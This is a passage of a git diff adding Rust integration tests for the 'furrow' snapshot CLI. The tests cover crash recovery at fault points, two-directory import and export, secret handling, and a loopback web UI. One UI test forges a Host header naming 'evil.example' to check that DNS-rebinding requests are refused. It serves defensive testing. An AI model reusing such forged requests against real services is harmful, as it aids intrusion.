if let Some(step) = fault { + command.env("FURROW_FAULT", step); + } + let output = command.output().unwrap(); + eprintln!("{}", String::from_utf8_lossy(&output.stderr)); + output.status.success() + } + + fn wanted(&self) -> usize { + let output = self + .furrow() + .args(["want", "--head", &self.head]) + .output() + .unwrap(); + assert!(output.status.success(), "the store must open after a crash"); + let doc: serde_json::Value = serde_json::from_slice(&output.stdout).unwrap(); + doc["want"].as_array().unwrap().len() + } + + fn furrow(&self) -> Command { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", &self.data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_CELL_KEY", hex::encode([0x11; 32])) + .env("FURROW_DEDUP_SECRET", hex::encode([0x22; 32])) + .arg("--json"); + command + } + + /// The primed import as JSON: it reports what it took and what it deleted. + fn import_primed(&self) -> serde_json::Value { + let output = self + .furrow() + .args(["import", "--head", &self.head]) + .arg("--inbox") + .arg(&self.inbox) + .arg("--ledger") + .arg(LEDGER) + .arg("--primed") + .output() + .unwrap(); + assert!( + output.status.success(), + "{}", + String::from_utf8_lossy(&output.stderr) + ); + serde_json::from_slice(&output.stdout).unwrap() + } + + fn files(&self) -> usize { + fs::read_dir(&self.inbox).unwrap().count() + } +} + +#[test] +fn an_import_killed_in_its_batch_deletes_nothing_and_finishes_again() { + let folder = folder(); + + assert!( + !folder.import(Some("import.stored")), + "the faulted import must abort" + ); + assert_eq!( + folder.files(), + folder.objects, + "no file was deleted before the batch committed" + ); + + // A second import, un-faulted, finishes the take: nothing was lost, and + // nothing was half-stored. + assert!( + folder.import(None), + "{:?}", + folder.furrow().output().unwrap().stderr + ); + assert_eq!(folder.wanted(), 0, "the take is complete"); + assert_eq!(folder.files(), 0, "every accepted file was deleted"); +} + +/// The un-faulted import of the same inbox works, so the crash point is the +/// only thing the first test's failure can be blamed on. +#[test] +fn an_untouched_import_of_the_same_inbox_succeeds() { + let folder = folder(); + assert!(folder.import(None)); + assert_eq!(folder.wanted(), 0); + assert_eq!(folder.files(), 0); +} + +/// The priming take knows its inbox holds files this head never asked for: it +/// takes what it wants and deletes the rest, counting what it deleted. The +/// strict import of the same inbox is `unwanted_file_refused`'s to refuse. +#[test] +fn primed_import_deletes_unlisted_files_and_reports_them() { + let folder = folder(); + // A copy under a rid nothing names: valid bytes, wanted by no pass. + let sample = fs::read_dir(&folder.inbox) + .unwrap() + .next() + .unwrap() + .unwrap() + .path(); + fs::copy(&sample, folder.inbox.join("0".repeat(64))).unwrap(); + + let doc = folder.import_primed(); + assert_eq!(doc["imported"], folder.objects, "{}", doc); + assert_eq!(doc["extras_deleted"], 1, "{}", doc); + assert_eq!(folder.wanted(), 0, "the take is complete"); + assert_eq!(folder.files(), 0, "the extra went with the taken ones"); +} diff --git a/engine/furrow-cli/tests/crash_seal.rs b/engine/furrow-cli/tests/crash_seal.rs new file mode 100644 index 0000000000..02f4bd1b74 --- /dev/null +++ b/engine/furrow-cli/tests/crash_seal.rs @@ -0,0 +1,138 @@ +//! A seal killed at each step boundary leaves a store that opens consistent, +//! whose last completed seal is intact, and that seals again. +//! +//! The kill is a process abort at a crash point (`FURROW_FAULT`, compiled in by +//! the `fault-injection` feature), so this proves the ordering of the steps: no +//! step leaves a state the next open cannot use. Whether each step's sync +//! reaches the disk is the kernel's contract, not something a test can drive. + +use assert_cmd::Command; +use serde_json::Value; +use std::fs; +use std::path::{Path, PathBuf}; + +/// Step boundaries of a seal, in order. Before `seal.logged` the new snapshot +/// is not yet visible; from it on, the reference log names it. +const STEPS: [&str; 4] = [ + "seal.captured", + "seal.packed", + "seal.committed", + "seal.logged", +]; + +struct Folder { + _temp: tempfile::TempDir, + root: PathBuf, + data: PathBuf, +} + +impl Folder { + fn new() -> Self { + let temp = tempfile::tempdir().unwrap(); + let root = temp.path().join("work"); + fs::create_dir_all(&root).unwrap(); + for name in ["a.txt", "b.txt", "c.txt"] { + fs::write(root.join(name), format!("{name} original")).unwrap(); + } + Self { + root, + data: temp.path().join("data"), + _temp: temp, + } + } + + fn furrow(&self) -> Command { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", &self.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&self.root) + .arg("--json"); + command + } + + fn seal(&self, fault: Option<&str>) -> Option { + let mut command = self.furrow(); + command.args(["hook", "turn-end", "--turn", "t", "--changed", "a.txt"]); + if let Some(step) = fault { + command.env("FURROW_FAULT", step); + } + let output = command.output().unwrap(); + output.status.success().then(|| { + let doc: Value = serde_json::from_slice(&output.stdout).unwrap(); + doc["snapshot"].as_str().unwrap().to_owned() + }) + } + + fn head(&self) -> String { + let output = self.furrow().arg("status").output().unwrap(); + assert!(output.status.success(), "the store must open after a crash"); + let doc: Value = serde_json::from_slice(&output.stdout).unwrap(); + doc["head"].as_str().unwrap().to_owned() + } + + fn restored(&self, snapshot: &str) -> String { + fs::write(self.root.join("a.txt"), "damaged").unwrap(); + self.furrow() + .args(["rewind", snapshot, "--yes"]) + .assert() + .success(); + read(&self.root.join("a.txt")) + } +} + +fn read(path: &Path) -> String { + fs::read_to_string(path).unwrap() +} + +#[test] +fn a_seal_killed_at_any_step_leaves_the_last_completed_seal_intact() { + for step in STEPS { + let folder = Folder::new(); + let first = folder.seal(None).unwrap(); + fs::write(folder.root.join("a.txt"), "second").unwrap(); + + assert!(folder.seal(Some(step)).is_none(), "{step} must abort"); + + let head = folder.head(); + if step == "seal.logged" { + assert_ne!(head, first, "{step}: the log already names the new seal"); + assert_eq!(folder.restored(&head), "second", "{step}"); + } else { + assert_eq!(head, first, "{step}: the killed seal is not visible"); + assert_eq!(folder.restored(&first), "a.txt original", "{step}"); + } + + fs::write(folder.root.join("a.txt"), "third").unwrap(); + let next = folder + .seal(None) + .unwrap_or_else(|| panic!("{step}: reseal")); + assert_eq!(folder.head(), next, "{step}"); + assert_eq!(folder.restored(&next), "third", "{step}"); + } +} + +/// The catalog commits without a sync because it is an index of the packs and +/// the reference log. Losing it whole is the worst a crash can do to it. +#[test] +fn a_lost_catalog_is_rebuilt_from_the_pack_and_the_log() { + let folder = Folder::new(); + let first = folder.seal(None).unwrap(); + fs::write(folder.root.join("a.txt"), "second").unwrap(); + let second = folder.seal(None).unwrap(); + + for name in [ + "catalog.sqlite3", + "catalog.sqlite3-wal", + "catalog.sqlite3-shm", + ] { + let _ = fs::remove_file(folder.data.join("store-v1").join(name)); + } + + assert_eq!(folder.head(), second); + assert_eq!(folder.restored(&first), "a.txt original"); + assert_eq!(folder.restored(&second), "second"); + fs::write(folder.root.join("a.txt"), "third").unwrap(); + assert!(folder.seal(None).is_some()); +} diff --git a/engine/furrow-cli/tests/exchange.rs b/engine/furrow-cli/tests/exchange.rs new file mode 100644 index 0000000000..698d36bf32 --- /dev/null +++ b/engine/furrow-cli/tests/exchange.rs @@ -0,0 +1,424 @@ +//! The exchange verbs through the real binary: two data directories, frames +//! carried between them as inbox files, and the secrets only in the environment. + +use assert_cmd::Command; +use furrow::exchange::frame; +use furrow::model::{id_hex, SnapshotTrigger}; +use furrow::repository::{FurrowRepository, SealOptions}; +use serde_json::Value; +use std::collections::BTreeMap; +use std::fs; +use std::os::unix::fs::{symlink, MetadataExt, PermissionsExt}; +use std::path::{Path, PathBuf}; + +const CELL_KEY: &str = "1111111111111111111111111111111111111111111111111111111111111111"; +const DEDUP: &str = "2222222222222222222222222222222222222222222222222222222222222222"; +const LEDGER: &str = "0123456789abcdef"; + +fn furrow(data: &Path, repo: &Path) -> Command { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_CELL_KEY", CELL_KEY) + .env("FURROW_DEDUP_SECRET", DEDUP) + .arg("--json") + .arg("--repo") + .arg(repo); + command +} + +fn run(data: &Path, repo: &Path, args: &[&str]) -> Value { + let output = furrow(data, repo) + .args(args) + .assert() + .success() + .get_output() + .stdout + .clone(); + serde_json::from_slice(&output).unwrap() +} + +struct Source { + temp: tempfile::TempDir, + data: PathBuf, + tree: PathBuf, + cell: PathBuf, + head: String, +} + +fn source() -> Source { + let temp = tempfile::tempdir().unwrap(); + let (data, tree, cell) = ( + temp.path().join("a-data"), + temp.path().join("a-tree"), + temp.path().join("a-cell"), + ); + fs::create_dir_all(tree.join("dir")).unwrap(); + fs::create_dir_all(cell.join("logs")).unwrap(); + fs::write(tree.join("dir/one.txt"), b"one\n").unwrap(); + fs::write( + tree.join("big.bin"), + (0..2_u32 << 20) + .map(|n| (n.wrapping_mul(2_654_435_761) >> 13) as u8) + .collect::>(), + ) + .unwrap(); + fs::write(tree.join("tool.sh"), b"#!/bin/sh\n").unwrap(); + fs::set_permissions(tree.join("tool.sh"), fs::Permissions::from_mode(0o750)).unwrap(); + symlink("dir/one.txt", tree.join("shortcut")).unwrap(); + fs::write(cell.join("logs/turn-1"), b"turn one").unwrap(); + for path in [ + tree.join("dir/one.txt"), + tree.join("big.bin"), + tree.join("tool.sh"), + tree.join("dir"), + cell.join("logs/turn-1"), + cell.join("logs"), + ] { + let time = filetime::FileTime::from_unix_time(1_580_000_000, 5_000_000); + filetime::set_file_times(&path, time, time).unwrap(); + } + let options = SealOptions { + changed: None, + overlay: Some(cell.clone()), + }; + let (_, head) = + FurrowRepository::attach_and_seal_in(&data, &tree, None, SnapshotTrigger::Manual, options) + .unwrap(); + Source { + temp, + data, + tree, + cell, + head: id_hex(&head), + } +} + +fn dump(root: &Path) -> BTreeMap)> { + let mut nodes = BTreeMap::new(); + let mut stack = vec![root.to_owned()]; + while let Some(dir) = stack.pop() { + for entry in fs::read_dir(&dir).unwrap() { + let path = entry.unwrap().path(); + let meta = fs::symlink_metadata(&path).unwrap(); + let body = if meta.is_dir() { + stack.push(path.clone()); + Vec::new() + } else if meta.file_type().is_symlink() { + fs::read_link(&path) + .unwrap() + .to_string_lossy() + .into_owned() + .into_bytes() + } else { + fs::read(&path).unwrap() + }; + let name = path.strip_prefix(root).unwrap().display().to_string(); + nodes.insert(name, (meta.mode(), meta.mtime(), meta.mtime_nsec(), body)); + } + } + nodes +} + +fn files_under(dir: &Path) -> Vec { + let mut found = Vec::new(); + let mut stack = vec![dir.to_owned()]; + while let Some(next) = stack.pop() { + for entry in fs::read_dir(next).unwrap() { + let path = entry.unwrap().path(); + if path.is_dir() { + stack.push(path) + } else { + found.push(path) + } + } + } + found +} + +#[test] +fn two_data_dirs_round_trip_byte_identical() { + let src = source(); + let temp = src.temp.path(); + let (b_data, b_tree, b_cell, inbox, outbox) = ( + temp.join("b-data"), + temp.join("b-tree"), + temp.join("b-cell"), + temp.join("inbox"), + temp.join("outbox"), + ); + fs::create_dir_all(&b_tree).unwrap(); + fs::create_dir_all(&inbox).unwrap(); + + let sent = run( + &src.data, + &src.tree, + &[ + "export", + "--head", + &src.head, + "--outbox", + outbox.to_str().unwrap(), + "--ledger", + LEDGER, + "--max-frame", + "200000", + ], + ); + let frames: Vec = sent["frames"] + .as_array() + .unwrap() + .iter() + .map(|f| f["path"].as_str().unwrap().to_owned()) + .collect(); + assert!(frames.len() > 1); + + // The uploader hands every object of every frame to the fetcher as one file. + for path in &frames { + let bytes = fs::read(path).unwrap(); + for object in frame::decode(&bytes).unwrap().1 { + fs::write(inbox.join(hex::encode(object.rid)), object.bytes).unwrap(); + } + } + let mut args = vec!["published", "--ledger", LEDGER]; + args.extend(frames.iter().map(String::as_str)); + assert_eq!( + run(&src.data, &src.tree, &args)["recorded"], + sent["objects"] + ); + assert_eq!( + run( + &src.data, + &src.tree, + &[ + "export", + "--head", + &src.head, + "--outbox", + outbox.to_str().unwrap(), + "--ledger", + LEDGER + ] + )["frames"] + .as_array() + .unwrap() + .len(), + 0 + ); + + assert!( + !run(&b_data, &b_tree, &["want", "--head", &src.head])["want"] + .as_array() + .unwrap() + .is_empty() + ); + let imported = run( + &b_data, + &b_tree, + &[ + "import", + "--head", + &src.head, + "--inbox", + inbox.to_str().unwrap(), + "--ledger", + LEDGER, + ], + ); + assert_eq!(imported["imported"], sent["objects"]); + assert!( + run(&b_data, &b_tree, &["want", "--head", &src.head])["want"] + .as_array() + .unwrap() + .is_empty() + ); + + let restored = run( + &b_data, + &b_tree, + &[ + "materialize", + "--head", + &src.head, + "--cell-dir", + b_cell.to_str().unwrap(), + ], + ); + assert_eq!(restored["snapshot"], src.head.as_str()); + assert_eq!(dump(&b_tree), dump(&src.tree)); + assert_eq!(dump(&b_cell), dump(&src.cell)); +} + +#[test] +fn keys_come_only_from_the_environment() { + let src = source(); + let outbox = src.temp.path().join("outbox"); + let out = outbox.to_str().unwrap(); + + // No flag carries a secret, so argv can never show one. + for flag in ["--cell-key", "--dedup-secret", "--dedup"] { + furrow(&src.data, &src.tree) + .args([ + "export", "--head", &src.head, "--outbox", out, "--ledger", LEDGER, flag, CELL_KEY, + ]) + .assert() + .failure(); + } + // Without the variables the verb refuses and names them, not their values. + let refusal = Command::cargo_bin("furrow") + .unwrap() + .env("FURROW_DATA_DIR", &src.data) + .env_remove("FURROW_CELL_KEY") + .env_remove("FURROW_DEDUP_SECRET") + .args([ + "export", "--head", &src.head, "--outbox", out, "--ledger", LEDGER, + ]) + .assert() + .failure(); + let stderr = String::from_utf8_lossy(&refusal.get_output().stderr).into_owned(); + assert!(stderr.contains("FURROW_CELL_KEY"), "{stderr}"); + + // A full run leaves neither secret on disk. + run( + &src.data, + &src.tree, + &[ + "export", "--head", &src.head, "--outbox", out, "--ledger", LEDGER, + ], + ); + let needles = [ + CELL_KEY.as_bytes().to_vec(), + DEDUP.as_bytes().to_vec(), + vec![0x11; 32], + vec![0x22; 32], + ]; + for path in files_under(&src.data) + .into_iter() + .chain(files_under(&outbox)) + { + let bytes = fs::read(&path).unwrap(); + for needle in &needles { + assert!( + !bytes.windows(needle.len()).any(|w| w == needle.as_slice()), + "{}", + path.display() + ); + } + } +} + +#[test] +fn a_bad_ledger_name_is_refused_before_anything_is_written() { + let src = source(); + let outbox = src.temp.path().join("outbox"); + furrow(&src.data, &src.tree) + .args([ + "export", + "--head", + &src.head, + "--outbox", + outbox.to_str().unwrap(), + "--ledger", + "NOT-HEX", + ]) + .assert() + .failure(); + assert!(!outbox.exists()); +} + +/// Every file of a tree except the engine's own folder, with its mode and bytes. +fn files_of(root: &Path) -> BTreeMap)> { + dump(root) + .into_iter() + .filter(|(name, _)| !name.starts_with(".furrow")) + .map(|(name, (mode, _, _, body))| (name, (mode, body))) + .collect() +} + +/// A take that dies part way through writing the changed files leaves a whole +/// tree, never a mix of two heads: the next use of the folder rolls it back to +/// the head it held, and the take can then be done again. +#[test] +fn a_materialize_that_dies_mid_write_leaves_a_whole_tree() { + let src = source(); + let (tree, cell) = ( + src.temp.path().join("b-tree"), + src.temp.path().join("b-cell"), + ); + fs::create_dir_all(&tree).unwrap(); + let cell_dir = cell.to_str().unwrap(); + let materialize = |head: &str| { + let mut command = furrow(&src.data, &tree); + command.args(["materialize", "--head", head, "--cell-dir", cell_dir]); + command + }; + materialize(&src.head).assert().success(); + let held = files_of(&tree); + + fs::write(src.tree.join("dir/one.txt"), b"two\n").unwrap(); + fs::write(src.tree.join("added.txt"), b"added\n").unwrap(); + let second = id_hex( + &FurrowRepository::open_composed_in(&src.data, &src.tree, Some(src.cell.clone())) + .unwrap() + .snapshot(None, SnapshotTrigger::Manual) + .unwrap(), + ); + materialize(&second) + .env("FURROW_FAILPOINT", "rewind_after_first_change") + .assert() + .code(86); + // Attaching the folder again is what recovers it. + materialize(&src.head).assert().success(); + assert_eq!(files_of(&tree), held, "the crash left the old head whole"); + + materialize(&second).assert().success(); + assert_eq!(fs::read(tree.join("dir/one.txt")).unwrap(), b"two\n"); + assert_eq!(fs::read(tree.join("added.txt")).unwrap(), b"added\n"); +} + +#[test] +fn materialize_answers_the_paths_it_set_apart_on_a_folding_file_system() { + let temp = tempfile::tempdir().unwrap(); + let (data, from, onto) = ( + temp.path().join("data"), + temp.path().join("from"), + temp.path().join("onto"), + ); + fs::create_dir_all(&from).unwrap(); + fs::create_dir_all(&onto).unwrap(); + fs::write(from.join("Readme.md"), b"lower\n").unwrap(); + fs::write(from.join("README.md"), b"upper\n").unwrap(); + let (_, head) = FurrowRepository::attach_and_seal_in( + &data, + &from, + None, + SnapshotTrigger::Manual, + SealOptions::default(), + ) + .unwrap(); + let head = id_hex(&head); + + let answer = furrow(&data, &onto) + .env("FURROW_TEST_NAME_FOLDING", "case") + .args(["materialize", "--head", &head]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let answer: Value = serde_json::from_slice(&answer).unwrap(); + + assert_eq!(answer["snapshot"], head.as_str()); + assert_eq!(answer["held"][0]["path"], "Readme.md"); + assert_eq!(answer["held"][0]["reason"], "same name as README.md here"); + assert_eq!(fs::read(onto.join("README.md")).unwrap(), b"upper\n"); + assert!(!onto.join("Readme.md").exists()); + + // Nothing is held where every name is kept, and the answer says no more. + let plain = temp.path().join("plain"); + fs::create_dir_all(&plain).unwrap(); + let answer = run(&data, &plain, &["materialize", "--head", &head]); + assert!(answer.get("held").is_none()); + assert!(plain.join("Readme.md").exists()); +} diff --git a/engine/furrow-cli/tests/hook_seal.rs b/engine/furrow-cli/tests/hook_seal.rs new file mode 100644 index 0000000000..ef1129eb5f --- /dev/null +++ b/engine/furrow-cli/tests/hook_seal.rs @@ -0,0 +1,172 @@ +//! `furrow hook` on a plain folder: changed-path lists and a composed directory. + +use assert_cmd::Command; +use serde_json::Value; +use std::fs; +use std::path::{Path, PathBuf}; + +struct Folder { + _temp: tempfile::TempDir, + root: PathBuf, + cell: PathBuf, + data: PathBuf, +} + +impl Folder { + fn new() -> Self { + let temp = tempfile::tempdir().unwrap(); + let root = temp.path().join("work"); + fs::create_dir_all(&root).unwrap(); + Self { + root, + cell: temp.path().join("private"), + data: temp.path().join("data"), + _temp: temp, + } + } + + fn furrow(&self) -> Command { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", &self.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&self.root) + .arg("--json"); + command + } + + fn turn_end(&self, extra: &[&str], stdin: &[u8]) -> String { + let output = self + .furrow() + .args(["hook", "turn-end", "--turn", "t"]) + .args(extra) + .write_stdin(stdin.to_vec()) + .assert() + .success() + .get_output() + .stdout + .clone(); + let doc: Value = serde_json::from_slice(&output).unwrap(); + doc["snapshot"].as_str().unwrap().to_owned() + } + + fn rewind(&self, snapshot: &str, extra: &[&str]) { + self.furrow() + .args(["rewind", snapshot, "--yes"]) + .args(extra) + .assert() + .success(); + } +} + +fn read(path: &Path) -> String { + fs::read_to_string(path).unwrap() +} + +#[test] +fn a_folder_that_is_not_a_git_repository_is_sealed_and_restored() { + let folder = Folder::new(); + fs::write(folder.root.join("a.txt"), "one").unwrap(); + let sealed = folder.turn_end(&[], b""); + assert!(!folder.root.join(".git").exists()); + + fs::write(folder.root.join("a.txt"), "damaged").unwrap(); + folder.rewind(&sealed, &[]); + + assert_eq!(read(&folder.root.join("a.txt")), "one"); +} + +#[test] +fn only_the_paths_on_stdin_are_visited() { + let folder = Folder::new(); + fs::write(folder.root.join("listed.txt"), "one").unwrap(); + fs::write(folder.root.join("unlisted.txt"), "one").unwrap(); + folder.turn_end(&[], b""); + + fs::write(folder.root.join("listed.txt"), "two").unwrap(); + fs::write(folder.root.join("unlisted.txt"), "two").unwrap(); + let sealed = folder.turn_end(&["--changed-stdin"], b"listed.txt\0"); + fs::write(folder.root.join("listed.txt"), "damaged").unwrap(); + fs::write(folder.root.join("unlisted.txt"), "damaged").unwrap(); + folder.rewind(&sealed, &[]); + + assert_eq!(read(&folder.root.join("listed.txt")), "two"); + assert_eq!(read(&folder.root.join("unlisted.txt")), "one"); +} + +#[test] +fn a_changed_flag_lists_a_path_and_empty_stdin_means_nothing_changed() { + let folder = Folder::new(); + fs::write(folder.root.join("a.txt"), "one").unwrap(); + folder.turn_end(&[], b""); + + fs::write(folder.root.join("a.txt"), "two").unwrap(); + let unseen = folder.turn_end(&["--changed-stdin"], b""); + fs::write(folder.root.join("a.txt"), "damaged").unwrap(); + folder.rewind(&unseen, &[]); + assert_eq!(read(&folder.root.join("a.txt")), "one"); + + fs::write(folder.root.join("a.txt"), "three").unwrap(); + let seen = folder.turn_end(&["--changed", "a.txt"], b""); + fs::write(folder.root.join("a.txt"), "damaged").unwrap(); + folder.rewind(&seen, &[]); + assert_eq!(read(&folder.root.join("a.txt")), "three"); +} + +#[test] +fn the_cell_directory_is_sealed_and_restored_outside_the_workspace() { + let folder = Folder::new(); + fs::write(folder.root.join("a.txt"), "one").unwrap(); + fs::create_dir_all(folder.cell.join("turns")).unwrap(); + fs::write(folder.cell.join("turns/1.json"), "sealed").unwrap(); + let cell = folder.cell.to_str().unwrap(); + let sealed = folder.turn_end(&["--cell-dir", cell], b""); + + fs::write(folder.cell.join("turns/1.json"), "damaged").unwrap(); + fs::write(folder.root.join("a.txt"), "damaged").unwrap(); + folder.rewind(&sealed, &["--cell-dir", cell]); + + assert_eq!(read(&folder.cell.join("turns/1.json")), "sealed"); + assert_eq!(read(&folder.root.join("a.txt")), "one"); + assert!(!folder.root.join(".cell").exists()); +} + +#[test] +fn a_composed_workspace_never_gets_an_engine_folder() { + let folder = Folder::new(); + fs::write(folder.root.join("a.txt"), "one").unwrap(); + fs::create_dir_all(&folder.cell).unwrap(); + let cell = folder.cell.to_str().unwrap(); + + let sealed = folder.turn_end(&["--cell-dir", cell], b""); + folder + .furrow() + .args(["snap", "--cell-dir", cell]) + .assert() + .success(); + fs::write(folder.root.join("a.txt"), "damaged").unwrap(); + folder.rewind(&sealed, &["--cell-dir", cell]); + + assert_eq!(read(&folder.root.join("a.txt")), "one"); + assert!(!folder.root.join(".furrow").exists()); +} + +#[test] +fn the_cell_directory_carries_exclusions_so_the_workspace_needs_no_policy_file() { + let folder = Folder::new(); + fs::write(folder.root.join("a.txt"), "one").unwrap(); + fs::write(folder.root.join("secret.txt"), "one").unwrap(); + fs::create_dir_all(&folder.cell).unwrap(); + fs::write(folder.cell.join(".furrowpolicy"), "exclude secret.txt\n").unwrap(); + let cell = folder.cell.to_str().unwrap(); + let sealed = folder.turn_end(&["--cell-dir", cell], b""); + + fs::write(folder.root.join("a.txt"), "damaged").unwrap(); + fs::write(folder.root.join("secret.txt"), "changed").unwrap(); + folder.rewind(&sealed, &["--cell-dir", cell]); + + assert_eq!(read(&folder.root.join("a.txt")), "one"); + assert_eq!(read(&folder.root.join("secret.txt")), "changed"); + assert!(!folder.root.join(".furrowpolicy").exists()); +} diff --git a/engine/furrow-cli/tests/ui.rs b/engine/furrow-cli/tests/ui.rs new file mode 100644 index 0000000000..a860460670 --- /dev/null +++ b/engine/furrow-cli/tests/ui.rs @@ -0,0 +1,376 @@ +use serde_json::Value; +use std::fs; +use std::io::{BufRead, BufReader, Read, Write}; +use std::net::TcpStream; +use std::path::{Path, PathBuf}; +use std::process::{Child, Stdio}; +use tempfile::TempDir; + +struct Fixture { + _temp: TempDir, + repo: PathBuf, + data: PathBuf, +} + +impl Fixture { + fn new() -> Self { + let temp = tempfile::tempdir().unwrap(); + let repo = temp.path().join("repo"); + let data = temp.path().join("data"); + fs::create_dir(&repo).unwrap(); + git(&repo, &["init", "-q", "-b", "main"]); + git(&repo, &["config", "user.email", "ui@example.com"]); + git(&repo, &["config", "user.name", "UI Test"]); + fs::write(repo.join("app.txt"), b"base\n").unwrap(); + git(&repo, &["add", "app.txt"]); + git(&repo, &["commit", "-q", "-m", "initial"]); + Self { + _temp: temp, + repo, + data, + } + } + + fn watch(&self) -> String { + let output = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &self.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&self.repo) + .args(["--json", "watch", "--no-daemon"]) + .output() + .unwrap(); + assert!(output.status.success()); + serde_json::from_slice::(&output.stdout).unwrap()["snapshot"] + .as_str() + .unwrap() + .to_owned() + } + + fn ui(&self) -> RunningUi { + self.ui_with_merge_check(None) + } + + fn ui_with_merge_check(&self, merge_check: Option<&str>) -> RunningUi { + let mut command = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")); + command + .env("FURROW_DATA_DIR", &self.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&self.repo) + .args(["--json", "ui", "--no-open", "--port", "0"]) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + if let Some(check) = merge_check { + command.args(["--merge-check", check]); + } + let mut child = command.spawn().unwrap(); + let stdout = child.stdout.take().unwrap(); + let mut reader = BufReader::new(stdout); + let mut line = String::new(); + assert!(reader.read_line(&mut line).unwrap() > 0); + let info: Value = serde_json::from_str(&line).unwrap(); + let launch = info["launch_url"].as_str().unwrap(); + let origin = info["origin"].as_str().unwrap().to_owned(); + let token = launch.split("#token=").nth(1).unwrap().to_owned(); + let address = origin.strip_prefix("http://").unwrap().to_owned(); + RunningUi { + child, + _stdout: reader, + address, + origin, + token, + } + } +} + +struct RunningUi { + child: Child, + _stdout: BufReader, + address: String, + origin: String, + token: String, +} + +impl RunningUi { + fn request(&self, method: &str, target: &str, body: Option<&Value>) -> HttpResponse { + self.request_with(method, target, body, true, true, &self.address) + } + + fn request_with( + &self, + method: &str, + target: &str, + body: Option<&Value>, + authorize: bool, + mutation_headers: bool, + host: &str, + ) -> HttpResponse { + let body = body + .map(serde_json::to_vec) + .transpose() + .unwrap() + .unwrap_or_default(); + let mut request = + format!("{method} {target} HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n"); + if authorize { + request.push_str(&format!("Authorization: Bearer {}\r\n", self.token)); + } + if !body.is_empty() || method == "POST" { + request.push_str(&format!( + "Content-Type: application/json\r\nContent-Length: {}\r\n", + body.len() + )); + } + if mutation_headers && method == "POST" { + request.push_str(&format!( + "Origin: {}\r\nX-Furrow-UI: 1\r\nSec-Fetch-Site: same-origin\r\n", + self.origin + )); + } + request.push_str("\r\n"); + let mut stream = TcpStream::connect(&self.address).unwrap(); + stream.write_all(request.as_bytes()).unwrap(); + stream.write_all(&body).unwrap(); + stream.shutdown(std::net::Shutdown::Write).unwrap(); + let mut response = Vec::new(); + stream.read_to_end(&mut response).unwrap(); + HttpResponse::parse(&response) + } +} + +impl Drop for RunningUi { + fn drop(&mut self) { + self.child.kill().ok(); + self.child.wait().ok(); + } +} + +struct HttpResponse { + status: u16, + headers: String, + body: Vec, +} + +impl HttpResponse { + fn parse(bytes: &[u8]) -> Self { + let boundary = bytes + .windows(4) + .position(|window| window == b"\r\n\r\n") + .unwrap(); + let headers = String::from_utf8(bytes[..boundary].to_vec()).unwrap(); + let status = headers + .lines() + .next() + .unwrap() + .split_whitespace() + .nth(1) + .unwrap() + .parse() + .unwrap(); + Self { + status, + headers, + body: bytes[boundary + 4..].to_vec(), + } + } + + fn json(&self) -> Value { + serde_json::from_slice(&self.body).unwrap() + } +} + +#[test] +fn mission_control_is_loopback_capability_guarded_and_offline() { + let fixture = Fixture::new(); + fixture.watch(); + let ui = fixture.ui(); + assert!(ui.address.starts_with("127.0.0.1:")); + assert_eq!(ui.token.len(), 64); + + let page = ui.request_with("GET", "/", None, false, false, &ui.address); + assert_eq!(page.status, 200); + assert!(page.headers.contains("Content-Security-Policy:")); + assert!(page.headers.contains("frame-ancestors 'none'")); + assert!(page.headers.contains("Referrer-Policy: no-referrer")); + let html = String::from_utf8(page.body).unwrap(); + assert!(html.contains("Mission Control")); + assert!(html.contains("/assets/icons.svg#gem")); + assert!(html.contains("name=\"color-scheme\" content=\"dark\"")); + assert!(!html.contains("https://")); + + let icons = ui.request_with("GET", "/assets/icons.svg", None, false, false, &ui.address); + assert_eq!(icons.status, 200); + assert!(icons.headers.contains("Content-Type: image/svg+xml")); + assert!(icons.headers.contains("max-age=31536000, immutable")); + assert!(String::from_utf8_lossy(&icons.body).contains("id=\"undo-2\"")); + let font = ui.request_with( + "GET", + "/assets/geist.woff2", + None, + false, + false, + &ui.address, + ); + assert_eq!(font.status, 200); + assert!(font.headers.contains("Content-Type: font/woff2")); + assert!(font.body.len() > 20_000); + + let script = ui.request_with("GET", "/assets/app.js", None, false, false, &ui.address); + assert_eq!(script.status, 200); + let script = String::from_utf8(script.body).unwrap(); + assert!(!script.contains("https://")); + assert!(script.contains("http://www.w3.org/2000/svg")); + assert!(script.contains("item.addEventListener(\"click\", () => inspectSnapshot(snapshot))")); + assert!(script.contains("button(\"undo-2\", \"Preview restore to this point\"")); + assert!(!script + .replace("http://www.w3.org/2000/svg", "") + .contains("http://")); + + let unauthorized = ui.request_with("GET", "/api/v1/status", None, false, false, &ui.address); + assert_ne!(unauthorized.status, 200); + let rebound = ui.request_with("GET", "/", None, false, false, "evil.example"); + assert_ne!(rebound.status, 200); + let preflight = ui.request_with("OPTIONS", "/api/v1/pins", None, false, false, &ui.address); + assert_eq!(preflight.status, 405); + + let status = ui.request("GET", "/api/v1/status?fidelity=true", None); + assert_eq!(status.status, 200); + assert_eq!(status.json()["fidelity"]["grade"], "partial"); + let no_origin = ui.request_with( + "POST", + "/api/v1/pins", + Some(&serde_json::json!({"snapshot": "0".repeat(64), "pinned": true})), + true, + false, + &ui.address, + ); + assert_ne!(no_origin.status, 200); +} + +#[test] +fn mission_control_pins_and_refuses_a_stale_rewind_preview() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + fs::write(fixture.repo.join("app.txt"), b"first change\n").unwrap(); + let ui = fixture.ui(); + + let pin = ui.request( + "POST", + "/api/v1/pins", + Some(&serde_json::json!({"snapshot": snapshot, "pinned": true})), + ); + assert_eq!(pin.status, 200); + assert_eq!(pin.json()["pinned"], 